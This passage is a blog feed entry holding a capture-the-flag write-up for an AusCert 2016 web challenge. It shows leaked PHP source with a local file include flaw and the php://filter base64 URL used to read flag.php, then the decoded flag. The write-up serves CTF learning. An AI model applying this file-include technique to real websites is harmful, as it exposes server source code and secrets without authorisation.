from the web category. We are given a generic link to the web application server and are told all the web challenges can be found throughout the web application. We are also told the name of the challenge may help lead you to the vulnerability as well.</p>

<p>The link to the web server:</p>
<ul>
  <li><a href="https://web.ctf.shearwater.com.au/">https://web.ctf.shearwater.com.au/</a></li>
</ul>

<p>Doing some general enumeration of the web application, the robots.txt file was located.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-agent: *
Disallow: /backup/
</code></pre></div></div>

<p>The robots.txt file pointed to a directory called backup, which is where index.txt was found. This file leaked the entire source code of the web application’s index.php page. The below code snippet stood out very quickly as a Local File Include vulnerability, hence the name of the challenge.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">if</span> <span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">])){</span> <span class="nv">$inputfile</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'..'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nb">addslashes</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]));</span> <span class="k">if</span> <span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$inputfile</span><span class="p">,</span> <span class="s1">'flag'</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">false</span><span class="p">){</span> <span class="nv">$error</span> <span class="o">=</span> <span class="k">include</span><span class="p">(</span><span class="nv">$inputfile</span><span class="p">);</span> <span class="k">echo</span> <span class="nv">$error</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span><span class="k">else</span><span class="p">{</span> <span class="k">include_once</span> <span class="s1">'footer.php'</span><span class="p">;</span> <span class="p">}</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p>In the above code, the web application will take the value of the “filename” parameter, supplied by a GET request to the index.php page. The value is interpreted as a file, then the web application attempts to load the value as part of the web page. However there is some sanitisation and filtering being performed on the value before the <code class="language-plaintext highlighter-rouge">include()</code> function. From the above snippet, it is known that the “filename” parameter is required, the word “flag” must be included in the input. With quite a bit of trial and error, it was identified that the index.php’s response would contain a “1” when the below URL is used.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://web.ctf.shearwater.com.au/?filename=./flag/flag.php
</code></pre></div></div>

<p>The “flag.php” file and directory were discovered because the below URL would return a blank page instead of the web application’s generic error page.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://web.ctf.shearwater.com.au/flag/flag.php
</code></pre></div></div>

<p>Because the flag file is assumed to contain PHP code, which will be executed on the server before the page is returned to the viewer. This means we need to find a way to stop the server from processing the flag.php file, so the contents could be viewed. This is when I came across PHP wrappers, specifically the filter wrapper which can be used to base64 encode an entire file.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://web.ctf.shearwater.com.au/index.php?filename=php://filter/convert.base64-encode/resource=./flag/flag.php
</code></pre></div></div>

<p>This resulted in the following base64 encoded string being included in the index.php’s response.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PD9waHAKJGZsYWcgPSAnZmxhZ3tQaHBfV3JhcHAzcnNfUl92M3J5X3VzM2Z1bH0nCj8+1
</code></pre></div></div>

<p>Which when decoded gave the flag for the challenge.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>% echo PD9waHAKJGZsYWcgPSAnZmxhZ3tQaHBfV3JhcHAzcnNfUl92M3J5X3VzM2Z1bH0nCj8+1 | base64 --decode
<span class="cp">&lt;?php</span>
<span class="nv">$flag</span> <span class="o">=</span> <span class="s1">'flag{Php_Wrapp3rs_R_v3ry_us3ful}'</span>
<span class="cp">?&gt;</span>
</code></pre></div></div>

<p>Challenge completed, a nice 200pt web challenge.</p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="ctf" /><category term="auscert" /><summary type="html"><![CDATA[A solution guide for the So you think you can LFI? challenge released during the AusCert 2016 CTF]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://media.licdn.com/dms/image/C560BAQF7sMoqvGJbzw/company-logo_200_200/0/1571110916719?e=1680739200&amp;v=beta&amp;t=CRqt-5pZy_vuszw6m3Hk9t4G6XQ-bR6zg29eS20i9kY" /><media:content medium="image" url="https://media.licdn.com/dms/image/C560BAQF7sMoqvGJbzw/company-logo_200_200/0/1571110916719?e=1680739200&amp;v=beta&amp;t=CRqt-5pZy_vuszw6m3Hk9t4G6XQ-bR6zg29eS20i9kY" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>